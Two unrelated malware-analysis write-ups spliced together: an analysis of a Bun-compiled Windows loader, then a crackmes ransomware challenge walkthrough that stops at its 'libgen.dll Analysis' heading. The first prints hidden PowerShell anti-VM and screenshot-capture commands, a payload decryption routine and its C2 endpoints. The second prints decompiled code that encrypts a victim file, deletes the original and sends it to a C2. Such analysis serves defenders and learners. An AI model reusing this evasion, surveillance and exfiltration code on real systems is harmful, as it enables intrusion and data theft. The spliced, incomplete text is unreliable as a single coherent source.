• Sample details
• A really brief Bun introduction
• Analysis
  • Struct of .bun section
  • Loader logic
    • entry.js
    • sysreq.js
    • main.js
    • memload.js

Sample details

A really brief Bun introduction

Bun is an all-in-one toolkit for developing JavaScript/TypeScript applications and it includes 4 foundamental elements:

• Bun Runtime: A fast JavaScript runtime designed as a drop-in replacement for Node.js
• Bun Package Manager: A packages manager with a global cache and workspaces
• Bun Test Runner: Built-in, Jest-compatible test runner, executed with the Bun runtime
• Bun Builder: Bundler used for JavaScript, TypeScript, JSX, etc…

The Bun website claims that “Bun is a fast, incrementally adoptable all-in-one JavaScript, TypeScript & JSX toolkit”. Its goal is to be a drop-in replacement for node.js, since it is fully compatible with node.js APIs. Being so similar with node.js, makes the final compiled executable share some characteristics with it: in fact the final PE embeds the full JavaScript runtime engine, resulting in a file of about 90~100MB size.

In a node.js compiled PE, the code is stored as a resource. Once executed, the JavaScript engine extract and execute it. From an analyst’s perspective, this is the juice to extract, since it contains all the malware logic that needs to be analyzed. In a PE built with Bun, instead, the code to be executed is stored inside a custom section named .bun. Here are stored all the source files that compose the final executable. Similar with node.js, this section is the main focus point while doing the analysis.

Analysis

Disclaimer: at time of writing this post, the C2 server is not online anymore. Despite this is an analysis of the sole loader, it was impossible to record the communication with the C2, from which the stage-2 is downloaded. All the work has been done statically but I don’t exclude to bring an analysis of the stage-2 malware in the future.

Simply inspecting the strings of the executable it is possible to obtain the Bun version used to build it. For this sample the version used is 1.3.13.

As confirmation of what written above, among the PE’s sections of the sample there is the one called .bun.

About the imported DLLs, we cannot tell anything relevant in this case, since the listed imports are used only by the embedded JavaScript runtime and not used by the loader itself. Given the nature of the executable, the required libraries by the loader are imported used the directive require() and are the following:

• os
• fs
• path
• https
• http
• crypto
• bun:ffi
• sysreq (internal module)
• memload (internal module)

Struct of .bun section

The .bun section of a compiled PE contains all the source files used to build the executable using the Bun builder. These files are stored in clear text but however it’s important to know how to extract the single ones.

From this section it is possible to extract the original path of the final executable (B:/~BUN/root/loader_20260425_040508_d6ea46eb.exe in this case) along with the original paths of the source files. It’s even possible to note that the bytes // @bun indicate the start of the source code, while each file is separated from the other using a single line comment (bytes // ) of the file original path ended with a new line character 0x0a.

With this information it’s possible to extract the single source files to analyze them separately. They are heavily obfuscated and are:

• entry.js: Entry point.
• main.js: It contains the main logic of the loader. Communicates with the C2 server.
• sysreq.js: Called to check the host where the loader is run.
• memload.js: Called to load and exec the stage 2 malware.

For all of them it was possible to perform deobfuscation using webcrack¹ to recover its original content (without variable and function names). However, how it will be detailed next, some strings in these scripts are obfuscated with an additional layer using custom algorithms.

Loader logic

The logic flow of the loader can be summarized as the following:

---
config:
  theme: 'dark'
---
sequenceDiagram
    entry.js->>main.js: start
    main.js->>+sysreq.js: validateSystem()
    sysreq.js-->>-main.js: score
    opt low score
        main.js->>C2: POST /api/report
        main.js->>+C2: GET /api/status
        C2-->>-main.js: seed
        main.js->>+C2: GET /api/payload
        C2-->>-main.js: stage 2 malware
        activate main.js
        main.js->>main.js: decrypt stage 2
        deactivate main.js
        main.js->>memload.js: exec()
        main.js->>C2: POST /api/report
    end

entry.js

This is the entry point of the executable. It is a quite simple code, as shown below:

var require_entry = __commonJS(() => {
  var _sysreq = require_sysreq();
  var _memload = require_memload();
  var _origReq = __require;
  __require = function(m) {
    if (m === "./sysreq" || m === "./sysreq.js")
      return _sysreq;
    if (m === "./memload" || m === "./memload.js")
      return _memload;
    return _origReq(m);
  };
  require_main();
});
export default require_entry();

The interesting part is the redirection of future require("./sysreq") or require("memload") calls to internal modules bundled within the executable (declared with __commonJS((exports, module)). This ensures the loading of the correct modules, otherwise they would be searched for on the disk, resulting in a module not found error. Finally, the require_main() function is called, resulting in passing the execution to main.js module.

sysreq.js

This script is responsible, as the name suggests, to check the system to detect if the malware is run in a real machine or on a VM/sandbox. After it gains all the information, it calculate a score used as a metric to decide if continue the execution or not. It exposes a function named validateSystem() called by main.js to start the system inspection.

The script performs a full system inspection, obtaining the following information:

• SMBIOS firmware table
• ACPI firmware tables
• DiskDrive model
• BIOS manufacturer
• RAM amount and speed
• CPU model
• CPU cores
• Logged user
• Operating system installed
• Network interfaces
• Installed software
• USB devices
• Screen size

Almost all of this information is obtained using PowerShell commands, while the rest is obtained using Bun modules like os.

SMBIOS data, for example, is obtained using the following command:

powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\"kernel32.dll\",SetLastError=true)]public static extern uint GetSystemFirmwareTable(uint sig,uint id,IntPtr buf,uint sz);public static string R(){uint n=GetSystemFirmwareTable(0x52534D42,0,IntPtr.Zero,0);if(n==0)return\"\";IntPtr b=Marshal.AllocHGlobal((int)n);GetSystemFirmwareTable(0x52534D42,0,b,n);byte[] d=new byte[(int)System.Math.Min(n,8192u)];Marshal.Copy(b,d,0,d.Length);Marshal.FreeHGlobal(b);var s=new System.Text.StringBuilder();var c=new System.Text.StringBuilder();foreach(byte x in d){if(x>=0x20&&x<0x7F)c.Append((char)x);else{if(c.Length>=4){s.Append(c);s.Append(\"|\");}c.Clear();}}return s.ToString();}' -Name R1 -Namespace HW -Using System.Runtime.InteropServices; [HW.R1]::R()"

Which pruduces an output like: innotek GmbH|VirtualBox|12/01/2006|innotek GmbH|VirtualBox|VirtualBox-75aa1f3f-1575-409d-b759-24e9382ff38b|Virtual Machine|Oracle Corporation|VirtualBox|Oracle Corporation|Socket #0|GenuineIntel|Pentium(R) III|DIMM 0|Bank 0|innotek GmbH|00000000|00000000|00000000|vboxVer_7.2.8|vboxRev_173730|.

Instead, the CPU model and the number of cores is obtained using the os module:

os.cpus()[0] ? _vB.cpus()[0].model : "unknown"

The score is calculated twice in different points in the script. If both the checks are passed, an object with the gathered information is returned to main.js.

As mentioned previously, after the deobfuscation with webcrack, it’s possible to note inside the script there are 2 arrays of encrypted strings:

For the first array, each element is another array composed by 2 elements:

1. Array of strings base64 encoded
2. XOR key used to recover the plaintext strings

While for the second array, each element is another array composed by:

1. String base64 encoded
2. XOR key used to recover plaintext strings

The code responsible to recover the clear text strings for the first array is the following:

  function _vo(string, xorKey) {
    var z = [];
    for (var w = 0; w < string.length; w++) {
      z.push(string[w] ^ xorKey.charCodeAt(w % xorKey.length));
    }
    return Buffer.from(z).toString("utf-8");
  }

While for the second array is the following:

  function _vK(string, xorKey) {
    var z = Buffer.from(string, "base64");
    var w = [];
    for (var x = 0; x < z.length; x++) {
      w.push(z[x] ^ xorKey.charCodeAt(x % xorKey.length));
    }
    return Buffer.from(w).toString("utf-8");
  }

The only difference is that the first array has the base64 string splitted in an another inner array, while the second not. Before to decrypt the strings for the first array, the entire base64 string is recovered by concatenating each element.

The following Python script was written to recover the clear text strings:

import base64

def deobf(ciphertext, key):
    for w in range(0, len(ciphertext)):
        print(chr(ciphertext[w] ^ ord(key[w % len(key)])), sep='', end='')
    print()


ciphertext = [[["BQ1KXwBDX", "0dQFwYBTR", "QpXlJUWRd", "OAlZGCVBC", "C1leEhA="], "ad94d16157"], [["dAp", "VUF", "g="], "9e1541dc9"], [["ZVtWBQFm", "IXAuYA=="], "228639c9a33"], [["YFpdClc+cF", "sIR0BFBEJk", "SkBNAAw="], "7339ea34e751a0"], [["KQBb", "FlJZ", "ABdN", "EV0T"], "da5c48cc8c8aed"], [["YlsPAwc", "8M1lLFQ", "oGUll/B", "F1aERo="], "52a05cc12fce3"], [["LwVeRg", "dQWk1G", "EAFCHz", "JBXFxX"], "bd03a1993"], [["XVJbDUdKVlgLQ", "hYFXEQQelcMQF", "VUUxZHRAdLHGN", "HUwdRExpWDUBb", "A00KXF5FFg=="], "076b5350b26b90"], [["YgsIUFNpdw", "MVBiNZVBAC"], "5bfca6"], [["ZV9eU", "lBrcl", "tKWXJ", "CCBRR"], "260ab4629"], [["NXkz", "dANF", "UFpX", "fnc="], "e7c0f39927381"], [["ZH1o", "JVJB", "W1NR", "enA="], "438a77204340b9"], [["YFteV", "gs5aV", "81JAt", "NXEJP"], "720e9f91eae9566"], [["R1kWXxBvCldWU2", "hoDGd1VhdQERgX", "XwdDEHYCVABBGF", "4NRV1ZFwMJCERM"], "78b708c9ea"], [["Mw0PB", "FFscA", "1KXHJ", "CChcB"], "dda7c34d9760cad"], [["T1ACA", "kESXl", "1QFkA", "FBltb", "FgtA"], "84ce4f719b9de"]]
ciphertext2 = [["FVVeEw==", "d03f61b9fc3ad"], ["EFxTAAhbRg==", "c92ba45c608a"], ["V1dbDhY=", "588fe42ab3889ce"], ["WQ9eVxJUDQ==", "0a08f1f0e1"], ["E1tWSA==", "e99035c44"], ["TgxBVksH", "8a679b2c369d84b7"], ["CUE8EFRnUlIRTQ==", "d2cf9817c9"], ["QVlEQ00DXhhbVFVaW19c", "70678b286562219a"], ["SVUZDVJWVF9P", "964dfbd9789"], ["FldLQAYD", "f4f15653f909e"], ["Qw9GTEZZXVpaHg==", "5f483818"], ["A11IEAA=", "a51feaba6"], ["E1lFAxRWQQ5DAEJX", "e42bf37c4a021"], ["Xk8JXBJeCUML", "59d7d3b5f50"], ["R1sKT0YGDEtEBlhA", "19e70dc32d783b4"], ["S1ZfR1sISgMLRV5c", "33116e2fe"], ["BlEKBgVfVFc=", "6a035eaa24"], ["CAkNCQQCAwA=", "817948170310"], ["UQcLVwcPAVU=", "d51b351e12a"], ["BAINBlADDHI=", "4277e996b334"], ["VAYCUg8OV3Q=", "d68c94d1"], ["CQRbB3oOVgI=", "94a694b0a7"], ["El8UEV8M", "d6fe6cc"], ["HlBZ", "f57b77794"], ["RQdGWVkNVVkV", "5f485a0"], ["QVpWTUo=", "774899eae95546"], ["Dk5DXBM=", "f739a392c60"], ["QFZQF1AEQg==", "23478e603c22d6d1"], ["JWAmZA==", "a3b0dede27e"], ["c3IiMQ==", "53aa9b2a768"], ["RFZVRg5STQ==", "631ff39c4ae78ae"], ["F1pCFlFZ", "a30b8689714f58"], ["BwYORlEI", "bbef8ae39502535"]];

for x in ciphertext:
    string = "".join(x[0])
    deobf(base64.b64decode(string), x[1])

for x in ciphertext2:
    deobf(base64.b64decode(x[0]), x[1])

The first array contains strings of PowerShell classes and objects, used to obtain information about the host. It seems that the structure of the array is to have classes on odd indexes and objects on even indexes, but is not always in this way, since sometimes in the code, objects are hardcoded in cleartext in the function call used to launch the PowerShell command. If powershell command does not return anything, wmic is used as fallback.

Example of PowerShell commands launched during the system inspection:

• powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command “Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Model | Format-List”
• powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command “Get-CimInstance -ClassName Win32_BIOS | Select-Object Manufacturer | Format-List”
• powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PhysicalMemory | Select-Object Manufacturer,Speed | Format-List"
• powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BaseBoard | Select-Object Manufacturer,Product | Format-List"
• powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command “Get-CimInstance -ClassName Win32_DiskDrive | Select-Object PNPDeviceID | Format-List”

The second array contains strings that are compared against the retrieved value to determine whether the system is running in a virtual machine or sandbox environment. These values are then used by the scoring system to assess whether the host is a virtual machine.

In this point system is considered even the software installed on the host. To find it, the script checks for the values in the registry keys HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall and HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall. In addition, USB devices are also checked, inspecting the key HKLM\SYSTEM\CurrentControlSet\Enum\USB.

To wrap it up, the following is a summary scheme of sysreq.js execution:

---
config:
  theme: 'dark'
---
flowchart TD
    A[Get SMBIOS] --> B[Get ACPI]
    B --> C[Get Disk Drive model]
    C --> R[Get plug n play devices]
    R --> S[Get audio devices]
    S --> D[Get BIOS manufacturer]
    D --> E[Get net interfaces]
    E --> F{Calculate score}
    F -->|<25| G[Get installed software]
    F -->|>=25| H[KO]
    G --> I[Get screen size]
    I --> J[Get USB devices]
    J --> K[Get uptime]
    K --> L[Get number of processes]
    L --> M[Get uptime]
    M --> N{Calculate score 2}
    N --> |<80| O[Get CPU data]
    N --> |>=80| P[KO]
    O --> Q[Get RAM data]
    Q --> T[Get hostname]
    T --> U[Get username]

main.js

This script coordinates the loader’s execution. First, it calls sysreq.js’s validateSystem() function to perform host checks. If the host passes these checks, the script contacts the C2 server, downloads the second-stage binary, decrypts it, and invokes the exec() function exposed by memload.js to execute the stage-2 malware.

Note that there is a hidden debug feature activated if the file C:\Users\<username>\Desktop\98765.txt is found on the victim’s host. In this case, the following object is sent to the C2, effectively bypassing the system check phase:

{
  "ok": true,
  "data": {
    "cpu": "debug",
    "ram": 0,
    "os": "debug",
    "host": "<hostname>",
    "user": "<username>",
    "hw": {},
    "score": -1
  }
}

In this script, a slightly different string-obfuscation technique is used. The overall structure remains the same as in sysreq.js: an array contains base64-encoded strings and the corresponding XOR keys. However, the decryption algorithm differs. The Python code written to perform the deobfuscation is the following:

def deobf2(ciphertext, key):
    g = len(ciphertext) - 1
    f = []

    while g >= 0:
        f.insert(0, chr(ciphertext[g] ^ ord(key[(g + 2) % len(key)])))
        g -= 1

    print(''.join(f))

The following strings were recovered:

1. d6ea46eb014eda764765658990a6975fcb1102dc3b105dcb117ccbef82b8fe0c (Salt - used to obtain the payload decryption key)
2. 1c6769e17131d735bf0213ac8611a517ac514ad222494ef6c2280fb1a7a639e2 (Report secret)
3. /api/status (C2 status endpoint)
4. /api/report (C2 report endpoint)
5. encryption failed
6. $b=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;
7. $bmp=New-Object Drawing.Bitmap($b.Width,$b.Height);
8. $g=[Drawing.Graphics]::FromImage($bmp);
9. $g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size);
10. $ms=New-Object IO.MemoryStream;
11. $bmp.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg);
12. [Convert]::ToBase64String($ms.ToArray())
13. https://www.google.com/generate_204

The strings from index 6 to 12 are used to build a PowerShell command to obtain a screenshot of the main screen, which is then sent to C2 server. The URL at index 13 is used to check Internet connection.

The C2 server URL is hardcoded in clear text and it is https://silent-harvester[.]cc:

• At path /api/report the loader sends system information (and score) gathered by sysreq.js module.
• At path /api/status it downloads the seed used to generate the stage-2 decryption key.
• at path /api/payload it downloads the encrypted stage-2.

The code in this module implements an additional obfuscation technique designed to slow down analysis. In particular, several functions act as wrappers: they take the target function as their first argument and the parameters to pass to that function as the remaining arguments. For example, consider the following function used to decrypt the strings:

function _hayn(c) {
  var d = {
    VYuMe: function (k, l, m) { // Wrapper function
      return k(l, m);
    },
    TatoI: function (k, l) { // Wrapper function
      return k(l);
    },
    VzRIa: "base64",
    lbegl: "2|3|0|5|1|4",
    LDuAA: "log",
    elHIg: "warn",
    MvPOU: "info",
    VKPgX: function (k, l) {
      return k + l;
    },
    RvBrP: "{}.constructor(\"return this\")( )"
  };
  var e = "1|5|2|4|3|0".split("|");
  var f = 0;
  while (true) {
    switch (e[f++]) {
      case "0":
        return d.VYuMe(_hayl, Buffer.from(d.TatoI(joinBase64Str, i[0]), d.VzRIa), i[1]);
      case "1":
        var g = {
          fUOIX: d.lbegl,
          PVSQt: d.LDuAA,
          tJiem: d.elHIg,
          ekRqR: d.MvPOU,
          unDgq: function (k, l) {
            return k(l);
          },
          OpFHi: function (k, l) {
            return d.VKPgX(k, l);
          },
          IVveI: d.RvBrP
        };
        continue;
      case "2":
        continue;
      case "3":
        var i = encStr[c];
        continue;
      case "4":
        continue;
      case "5":
        continue;
    }
    break;
  }
}

Here, the functions defined inside the d object serve as wrappers: their first parameter is the target function to execute. These wrapper functions are then invoked inside case “0” of the switch statement. The first wrapper (d.VYuMe) is used to call the function to perform the string decryption, while the second (d.TatoI) is used to call the function to join the base64 strings.

After sending the host information to the C2 server, the subsequent GET to /api/status is done by adding as a GET parameter v the build id of the sample, probably to allow the C2 server to identify different versions. As a response, the server returns a seed used by the loader to generate the key to decrypt the payload retrieved with a third GET call against /api/payload path. This payload is encrypted with AES-256-GCM algorithm and it is decrypted using the SHA256 of the concatenation of the seed plus the salt string as key, with the first 12 bytes of the payload used as IV. The function is the following:

function decryptc2payload(a, seed) {
  var c = {
    xzPDC: "7|5|3|4|1|6|0|2",
    calcHashWrap: function (l, m, n) {
      return l(m, n);
    },
    concatWrap: function (l, m) {
      return l + m;
    },
    CheckExistenceWrap: function (l, m) {
      return l || m;
    }
  };
  try {
    var d = c.xzPDC.split("|");
    var f = 0;
    while (true) {
      switch (d[f++]) {
        case "0":
          k.setAuthTag(i);
          continue;
        case "1":
          var g = a.slice(28);
          continue;
        case "2":
          return Buffer.concat([k.update(g), k.final()]);
        case "3":
          var iv = a.slice(0, 12);
          continue;
        case "4":
          var i = a.slice(12, 28);
          continue;
        case "5":
          var key = c.calcHashWrap(calculate_hash, c.concatWrap(seed, _hayp.SALT), "sha256");
          continue;
        case "6":
          var k = cryptoMod.createDecipheriv("aes-256-gcm", key, iv);
          continue;
        case "7":
          if (c.CheckExistenceWrap(!a, !seed)) {
            return null;
          }
          continue;
      }
      break;
    }
  } catch (l) {
    return null;
  }
}

Note how the sequence stored in c.xzPDC determines the order of the operations to perform, where element corresponds to a branch of the switch case.

After the decryption, the payload is passed to memload.js module, using its exec() function. Finally, a new POST to /api/report is performed to notify the C2 server about the correct decryption and execution of the second stage. As detailed in the next section, the payload downloaded from the C2 server is a PE file to be executed.

memload.js

The analysis of this script is pretty straightforward, since this module logs everything it does using strings stored in clear text. In addition, there is a second exposed function used to obtain all the logs collected during the module’s exec() execution. Finally, there is no particular code obfuscation technique used to obstruct static analysis.

As the name suggested, the goal of this module is to load the PE downloaded by main.js module and execute it. To do it, it uses the Bun module FFI to load native libraries. In this way it is possible to call Windows APIs like VirtualAlloc() and CreateThread() from JavaScript code.

The module does what a classic loader would do:

• Parses the PE
• Loads the PE in the memory
• Resolves its imports
• Creates a new thread

In addition, the loader creates a hook in ExitProcess() to make it call ExitThread() instead. This technique is usually used to bypass AV/EDR detection and to avoid to kill the parent process.

After loading the stage 2, the module returns a status code to main.js, which communicates with the C2 server to report about the injection.

• Introduction
  • RecordUser.pcapng Analysis
  • Click_Me.exe Analysis
  • Encryption and Sending Personal File - sub_1DE1()
    • S-Box Initialization - sub_148C()
    • RC4 Encryption - sub_1558()
  • Encryption and Sending of libgen.dll - sub_1FB3()
• libgen.dll Analysis
• Obtaining the Flag

Introduction

This is a challenge written in C/C++ for Windows platform, classified with a difficulty level of 3.1 (Medium)¹.

The description of the challenge, reported on crackmes.one, is:

A hacker launched a ransomware attack on Lisa’s machine, encrypting all critical data in her wallet. Help Lisa recover her lost files!

As suggested even by the challenge’s name, this is something ransomware-related, so, most likely, we will have to deal with some encrypted file.

The downloaded zip contains another zip file named Ransomware.zip, and its content is the following:

$ unzip -l Ransomware.zip 
Archive:  Ransomware.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2025-06-11 09:00   Ransomware/
   149945  2025-06-11 01:08   Ransomware/Click_Me.exe
    29040  2025-06-11 01:24   Ransomware/RecordUser.pcapng
---------                     -------
   178985                     3 files

RecordUser.pcapng Analysis

The RecordUser.pcapng file contains 4 different streams:

• HTTP GET request from 192.168.134.132 to http://192.168.56.1:8000/anonymous
• 3 different TCP streams from 192.168.134.1 to 192.168.134.132:8888 with different data exchanged

The anonymous file returned by the web server seems to be encrypted, as well as the first 2 TCP streams. The most interesting stream is the last one, since it is a log:

LOG:125
[2025-06-10 09:14:23.642] [INFO] [User: Lisa] Accessed suspicious website: https://freemusic-fastdownload[.]fun/randomfolder/
LOG:122
[2025-06-10 09:14:26.891] [WARNING] [User: Lisa] Downloaded suspicious executable file: Click_Me.exe from external source.
LOG:109
[2025-06-10 09:14:27.012] [AV Monitor] Suspicious file "Click_Me.exe" detected. Heuristic analysis pending...
LOG:134
[2025-06-10 09:15:03.217] [CRITICAL] [User: Lisa] Executed potentially malicious file: C:\Users\Lisa\Downloads\Ransomware\Click_Me.exe
LOG:120
[2025-06-10 09:15:03.401] [AV Monitor] ALERT: Click_Me.exe flagged as high-risk (Potential Ransomware behavior detected)
LOG:114
[2025-06-10 09:15:05.402] [NETWORK] Malicious process established outbound TCP connection to 192.168.134.132:23946
LOG:125
[2025-06-10 09:15:06.005] [Firewall] Suspicious network activity allowed: No rule matched ... potential backdoor established.
LOG:98
[2025-06-10 09:15:10.763] [RANSOMWARE] File encryption started: C:\ProgramData\Important\ (*.lckd)
LOG:106
[2025-06-10 09:15:11.001] [RANSOMWARE] Sensitive file encrypted: C:\Users\Lisa\Documents\wallet_backup.dat
LOG:100
[2025-06-10 09:15:11.223] [AV Monitor] Real-time protection bypassed. File system changes confirmed.
LOG:86
[2025-06-10 09:15:12.348] [RANSOMWARE] Behavior confirmed: Click_Me.exe is ransomware.
LOG:83
[2025-06-10 09:15:14.120] [CRITICAL] System compromised. Ransom note expected soon.

From these logs it is possible to reconstruct what’s happened: Lisa downloaded a malicious file (Click_Me.exe) from a suspicious website and executed it, causing the encryption of all its personal data. So, the analysis of Click_Me.exe should reveal functions that perform Internet requests and encryption of files.

Click_Me.exe Analysis

The file Click_Me.exe file is a classic PE without any kind of obfuscation:

$ file Click_Me.exe 
Click_Me.exe: PE32+ executable for MS Windows 5.02 (console), x86-64, 20 sections

So, I’ve opened it with IDA to inspect its inner workings. Here’s the main function:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  void *Block; // [rsp+28h] [rbp-8h]

  _main();
  Block = (void *)sub_1860();
  if ( !Block )
    return -1;
  if ( (unsigned int)sub_1DE1(Block) || (unsigned int)sub_1FB3() )
  {
    free(Block);
    return -1;
  }
  else
  {
    free(Block);
    return 0;
  }
}

The function _main() is used only to initialize a static variable named initialized to 1.

More interesting is the function sub_1860():

void *sub_1860()
{
  void *v1; // [rsp+28h] [rbp-58h]
  void *Buffer; // [rsp+30h] [rbp-50h]
  int v3; // [rsp+3Ch] [rbp-44h]
  FILE *Stream; // [rsp+40h] [rbp-40h]
  FARPROC ProcAddress; // [rsp+48h] [rbp-38h]
  FARPROC pget_result_bytes; // [rsp+58h] [rbp-28h]
  void *Src; // [rsp+60h] [rbp-20h]
  FARPROC pgen_from_file; // [rsp+68h] [rbp-18h]
  void *Block; // [rsp+70h] [rbp-10h]
  HMODULE hlibgen; // [rsp+78h] [rbp-8h]

  hlibgen = LoadLibraryA("C:\\Users\\Huynh Quoc Ky\\Downloads\\Ransomware\\libgen.dll");
  if ( !hlibgen )
    return 0;
  Block = malloc(0x20u);
  if ( !Block )
  {
    FreeLibrary(hlibgen);
    return 0;
  }
  pgen_from_file = GetProcAddress(hlibgen, "gen_from_file");
  if ( pgen_from_file )
  {
    Src = (void *)((__int64 (__fastcall *)(const char *))pgen_from_file)("anonymous");
    if ( Src )
    {
      memcpy(Block, Src, 0x20u);
      FreeLibrary(hlibgen);
      return Block;
    }
  }
  pget_result_bytes = GetProcAddress(hlibgen, "get_result_bytes");
  if ( pget_result_bytes && ((int (__fastcall *)(void *, __int64))pget_result_bytes)(Block, 32) > 0 )
  {
    FreeLibrary(hlibgen);
    return Block;
  }
  ProcAddress = GetProcAddress(hlibgen, "gen");
  if ( ProcAddress )
  {
    Stream = fopen("anonymous", "rb");
    if ( Stream )
    {
      fseek(Stream, 0, 2);
      v3 = ftell(Stream);
      rewind(Stream);
      if ( v3 > 0 )
      {
        Buffer = malloc(v3);
        if ( Buffer )
        {
          fread(Buffer, 1u, v3, Stream);
          v1 = (void *)((__int64 (__fastcall *)(void *, _QWORD))ProcAddress)(Buffer, v3);
          if ( v1 )
          {
            memcpy(Block, v1, 0x20u);
            free(Buffer);
            fclose(Stream);
            FreeLibrary(hlibgen);
            return Block;
          }
          free(Buffer);
        }
      }
      fclose(Stream);
    }
  }
  free(Block);
  FreeLibrary(hlibgen);
  return 0;
}

Here, the first thing this function does is to load the DLL libgen.dll using LoadLibraryA(). Indeed, this DLL does not compare in the .idata section of the PE, maybe as an attempt to hide it from a first and quick inspection:

Then, a buffer Block of 0x20 (32) bytes is created.

Before diving in to the logic of the function, it is worth noting that 3 different functions of libgen.dll are called:

• gen_from_file() passing anonymous as argument
• get_result_bytes() passing Block and its size as arguments
• gen() passing a Buffer and its size (v3) as argument

anonymous is the same name of the file contained in the GET request in the RecordUser.pcapng file, maybe they’re the same files.

In addition, Buffer passed as argument to gen() contains the content of this anonymous file, since its pointer is stored inside the Stream variable and then read into Buffer.

Function sub_1860()’s logic is the following:

• Loads libgen.dll
• Calls gen_from_file() with string anonymous as argument
  • If the returned buffer is valid, it is copied in Block and returned it

Otherwise:

• Calls get_result_bytes() passing Block and its size as argument
  • If the return value of the function is greater than 0, Block is returned

Otherwise:

• Calls gen() passing Buffer (which holds anonysmous file content) and its file as argument
  • If the buffer returned is valid, it is copied in to Block and then returned it

Otherwise the function returns 0.

At this point, the content of libgen.dll is unknown, so it is impossible to say exactly what the three functions do. So, let’s move on to the rest of main() function.

If Block returned by sub_1860() is valid, then 2 functions are called:

• sub_1DE1(Block)
• sub_1FB3()

Encryption and Sending Personal File - sub_1DE1()

This function encrypts the file C:\ProgramData\Important\user.html to C:\ProgramData\Important\user.html.enc using RC4² and then sends it to C2 server, deleting the original and in clear text file. Here’s the decompiled code:

__int64 __fastcall sub_1DE1(char *a1)
{
  FILE *v2; // [rsp+38h] [rbp-28h]
  char *v3; // [rsp+40h] [rbp-20h]
  void *v4; // [rsp+48h] [rbp-18h]
  int v5; // [rsp+54h] [rbp-Ch]
  FILE *Stream; // [rsp+58h] [rbp-8h]

  Stream = fopen("C:\\ProgramData\\Important\\user.html", "rb");
  if ( !Stream )
    return 0xFFFFFFFFLL;
  fseek(Stream, 0, 2);
  v5 = ftell(Stream);
  rewind(Stream);
  v4 = malloc(v5);
  v3 = (char *)malloc(v5);
  if ( v4 && v3 )
  {
    fread(v4, 1u, v5, Stream);
    fclose(Stream);
    sub_1668(a1, 32, (char *)v4, v3, v5);
    v2 = fopen("C:\\ProgramData\\Important\\user.html.enc", "wb");
    if ( v2 )
    {
      fwrite(v3, 1u, v5, v2);
      fclose(v2);
      sub_183D("C:\\ProgramData\\Important\\user.html");
      free(v4);
      free(v3);
      sub_1AEB("C:\\ProgramData\\Important\\user.html.enc");
      return 0;
    }
    else
    {
      free(v4);
      free(v3);
      return 0xFFFFFFFFLL;
    }
  }
  else
  {
    fclose(Stream);
    free(v4);
    free(v3);
    return 0xFFFFFFFFLL;
  }
}

From the strings passed as arguments to the called functions, it’s easy to infer that this function encrypts content. In particular, the file C:\ProgramData\Important\user.html is encrypted in C:\ProgramData\Important\user.html.enc.

The function sub_1668() takes different arguments and the first, a1, is the Block buffer created by the function sub_1860() previously analysed. This function calls other 2 functions and they are used to perform RC4 encryption, using the Block buffer as the key:

• sub_148C() prepares the S-box
• sub_1558() perform the encryption

S-Box Initialization - sub_148C()

__int64 __fastcall sub_148C(__int64 a1, int a2, __int64 a3)
{
  int j; // [rsp+24h] [rbp-Ch]
  int i; // [rsp+28h] [rbp-8h]
  int v6; // [rsp+2Ch] [rbp-4h]

  v6 = 0;
  for ( i = 0; i <= 255; ++i )
    *(_BYTE *)(i + a3) = i;
  for ( j = 0; j <= 255; ++j )
  {
    v6 = (*(unsigned __int8 *)(j + a3) + v6 + *(unsigned __int8 *)(j % a2 + a1)) % 256;
    swap(j + a3, a3 + v6);
  }
  return 0;
}

RC4 Encryption - sub_1558()

__int64 __fastcall sub_1558(__int64 a1, __int64 a2, __int64 a3, unsigned __int64 a4)
{
  unsigned __int64 i; // [rsp+30h] [rbp-10h]
  int v6; // [rsp+38h] [rbp-8h]
  int v7; // [rsp+3Ch] [rbp-4h]

  v7 = 0;
  v6 = 0;
  for ( i = 0; i < a4; ++i )
  {
    v7 = (v7 + 1) % 256;
    v6 = (v6 + *(unsigned __int8 *)(v7 + a1)) % 256;
    swap(v7 + a1, a1 + v6);
    *(_BYTE *)(a3 + i) = *(_BYTE *)((unsigned __int8)(*(_BYTE *)(v7 + a1) + *(_BYTE *)(v6 + a1)) + a1)
                       ^ *(_BYTE *)(a2 + i);
  }
  return 0;
}

Once encrypted the file, the function sub_183D() is called to delete the original clear text file. This function is a simple wrapper of DeleteFileA().

After that, the function sub_1AEB() is called passing the encrypted file name as argument. This function sends to a C2 server the content of the file. This is easily identifiable due to the presence of calls to WSAStartup(), connect(), send() closesocket() and WSACleaup(). It is interesting to note that this function sends even the file size before the file content:

if ( connect(s, &name, 16) >= 0 )
    {
        buf[0] = HIBYTE(len);
        buf[1] = BYTE2(len);
        buf[2] = BYTE1(len);
        buf[3] = len;
        send(s, buf, 4, 0);
        send(s, (const char *)Buffer, len, 0);
        printf("Sent %s (%ld bytes) to server\n", a1, len);
        closesocket(s);
        WSACleanup();
        free(Buffer);
        return 0;
    }

From the arguments of connect() the C2 IP and its listening port are obtained and they are 192.168.134.132:8888, the same reported in the pcap file.

Encryption and Sending of libgen.dll - sub_1FB3()

This function is the same of the previous sub_1DE1() except for the file open who is C:\Users\Huynh Quoc Ky\Downloads\Ransomware\libgen.dll and for the encryption algorithm, who is not RC4 anymore but AES-256-ECB with the SHA256 string of hackingisnotacrime as password. Since this file is sent to the C2 server, it is possible to recover the missing DLL, as we’ve just discovered it is contained in a stream of the pcap file. In fact, among the streams, there is the one that contains the DLL. Once extracted the TCP data sent and removed the first 4 bytes who specified the file size, it was possible to decrypt it with the following command:

openssl enc -aes-256-ecb -d -in encrypted_libgen.dll -K 14f137ab39f56d7ae16b70c987bd85b0033fd158a6f010bf926048952264f807 -out libgen.dll

libgen.dll Analysis

